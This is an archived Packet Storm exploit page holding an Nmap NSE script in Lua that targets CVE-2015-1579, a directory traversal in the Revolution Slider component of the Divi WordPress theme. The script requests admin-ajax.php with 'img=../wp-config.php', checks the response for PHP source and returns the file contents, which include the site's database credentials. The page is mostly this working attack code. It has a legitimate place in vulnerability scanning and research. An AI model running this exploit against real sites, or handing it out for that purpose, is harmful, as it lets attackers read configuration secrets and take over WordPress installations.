what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Elegant Themes Divi Theme Directory Traversal Nmap NSE Script

WordPress Elegant Themes Divi Theme Directory Traversal Nmap NSE Script
Posted Apr 7, 2017
Authored by Rewanth Cool

This NSE script for Nmap exploits a directory traversal in WordPress Elegant Themes Divi Theme.

tags | exploit
advisories | CVE-2015-1579
SHA-256 | ce7e5b084999cd800b4b712c630ec486d87251330de0d59ad9c51f9953013ca6

WordPress Elegant Themes Divi Theme Directory Traversal Nmap NSE Script

Change Mirror Download
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
local nmap = require "nmap"

description = [[
Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress
allows remote attackers to read arbitrary files
via a .. (dot dot) in the img parameter
in a revslider_show_image action to wp-admin/admin-ajax.php.

NOTE: this vulnerability may be a duplicate of CVE-2014-9734.

Wordpress Slider Revolution Responsive <= 4.1.4
suffers from Arbitrary File Download vulnerability.
]]

---
-- @usage
-- nmap --script http-vuln-cve2015-1579
--
-- @args
-- http-vuln-cve2015-1579.uri
-- Wordpress root directory on the website. Default: '/'
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-vuln-cve2015-1579
-- | VULNERABLE:
-- | WordPress Plugin Slider REvolution 4.1.4
-- | Arbitrary File Download vulnerability
-- | State: VULNERABLE (Exploitable for versions <= 4.1.4)
-- | IDs:
-- | CVE: CVE-2015-1579
-- | CVE: CVE-2014-9734
-- | Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress
-- | allows remote attackers to read arbitrary files
-- | via a .. (dot dot) in the img parameter
-- | in a revslider_show_image action to wp-admin/admin-ajax.php.
-- |
-- | NOTE: this vulnerability may be a duplicate of CVE-2014-9734.
-- |
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1579
--
---

author = "Rewanth Cool"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}

portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")

action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"

local vulnPath = "wp-admin/admin-ajax.php"
local vulnParams = "action=revslider_show_image&img=../wp-config.php"

-- Exploiting the vulnerability
local response = http.get( host, port, uri..vulnPath.."?"..vulnParams )

if response.status == 200 then
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = "WordPress Plugin Slider REvolution 4.1.4",
state = vulns.STATE.NOT_VULN,
description = [[
Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress
allows remote attackers to read arbitrary files
via a .. (dot dot) in the img parameter
in a revslider_show_image action to wp-admin/admin-ajax.php.

NOTE: this vulnerability may be a duplicate of CVE-2014-9734.
]],
IDS = {
CVE = {
"CVE-2014-9734",
"CVE-2015-1579"
},
references = {
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1579"
},
dates = {
disclosure = {
year = "2015",
month = "02",
day = "11"
},
}
}
}

-- Matching the patern in the response
if( string.match(response.body, (("<?php"):gsub("%p","%%%0"))) ) then
vuln.state = vulns.STATE.EXPLOIT
vuln.exploit_results = response.body
return vulnReport:make_output(vuln)
end
end
end


Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close